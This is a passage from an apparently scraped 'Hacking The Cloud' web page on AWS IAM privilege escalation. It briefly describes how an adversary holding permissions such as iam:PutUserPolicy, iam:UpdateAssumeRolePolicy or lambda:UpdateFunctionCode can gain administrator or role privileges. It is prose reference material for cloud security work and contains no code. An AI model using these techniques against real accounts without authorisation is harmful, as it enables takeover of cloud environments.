title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://docs.aws.amazon.com/cli/latest/reference/iam/put-user-permissions-boundary.html>iam:PutUserPermissionsBoundary</a> permission, an adversary can update a permissions boundary attached to a user they have access to. This may increase the user's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies. </p> <h2 id=iamputuserpolicy>iam:PutUserPolicy<a class=headerlink href=#iamputuserpolicy title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/put-user-policy.html>iam:PutUserPolicy</a> permission, an adversary can create an inline policy for a user they have access to and give themselves administrator access to the AWS account.</p> <h2 id=iamsetdefaultpolicyversion>iam:SetDefaultPolicyVersion<a class=headerlink href=#iamsetdefaultpolicyversion title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/set-default-policy-version.html>iam:SetDefaultPolicyVersion</a> permission, an adversary can revert a policy associated with their principal to a previous version. This is useful for scenarios in which a previous version of a policy had more access than the current version.</p> <h2 id=iamupdateassumerolepolicy>iam:UpdateAssumeRolePolicy<a class=headerlink href=#iamupdateassumerolepolicy title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/update-assume-role-policy.html>iam:UpdateAssumeRolePolicy</a> permission, an adversary can modify the assume-role policy of a role, allowing them to assume it. This is useful to gain access to administrator roles, or other more privileged roles.</p> <h2 id=iamupdateloginprofile>iam:UpdateLoginProfile<a class=headerlink href=#iamupdateloginprofile title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/update-login-profile.html>iam:UpdateLoginProfile</a> permission, an adversary can change the password of an IAM user. This would allow them to log into the console as that user.</p> <h2 id=lambdaupdatefunctioncode>lambda:UpdateFunctionCode<a class=headerlink href=#lambdaupdatefunctioncode title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/update-function-code.html>lambda:UpdateFunctionCode</a> permission, an adversary can modify an existing Lambda function's code. This would allow them to gain access to the privileges of the associated IAM role the next time the function is executed.</p> <h2 id=lambdaupdatefunctionconfiguration>lambda:UpdateFunctionConfiguration<a class=headerlink href=#lambdaupdatefunctionconfiguration title="Permanent link">&para;</a></h2> <p>With access to the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/update-function-configuration.html>lambda:UpdateFunctionConfiguration</a> permission, an adversary can modify an existing Lambda function's configuration to add a new Lambda Layer. This Layer would then override an existing library and allow an adversary to execute malicious code under the privilege of the role associated with the Lambda function.</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">November 21, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">November 4, 2021</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/delenamalan class=md-author title=@delenamalan> <img src="https://avatars.githubusercontent.com/u/4767109?v=4&size=72" alt=delenamalan> </a> <a href=https://github.com/gonda-praetorian class=md-author title=@gonda-praetorian> <img src="https://avatars.githubusercontent.com/u/92731402?v=4&size=72" alt=gonda-praetorian> </a> <a href=https://github.com/web-flow class=md-author title=@web-flow> <img src="https://avatars.githubusercontent.com/u/19864447?v=4&size=72" alt=web-flow> </a> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/blob/main/content/aws/exploitation/iam_privilege_escalation.md class="md-author md-author--more"> +1 </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#codestarcreateproject-codestarassociateteammember class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span 